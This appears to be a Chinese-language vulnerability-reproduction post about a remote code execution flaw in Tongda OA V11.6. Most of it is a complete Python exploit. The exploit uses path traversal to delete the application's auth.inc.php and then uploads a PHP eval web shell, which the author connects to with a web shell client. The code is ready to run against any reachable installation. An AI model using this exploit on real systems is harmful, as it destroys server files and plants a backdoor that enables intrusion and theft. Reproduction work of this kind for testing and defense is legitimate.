通达OA 0day RCE漏洞复现

本次测试使用的是通达 OA V11.6版本。
给出下载地址,http://www.kxdw.com/soft/23114.html
下载好后，直接安装就可以。
然后打开登录界面。

登录
文件有默认密码

用某大佬写的EXP

import requests
 
target="http://192.168.0.110/"
payload="<?php eval($_POST['agan']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
 
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('agan.php', payload)}
requests.post(url=url,files=files)
url=target+"/_agan.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
    print("[-]Failed to upload file")

python运行exp，然后菜刀连接

获取到webshell。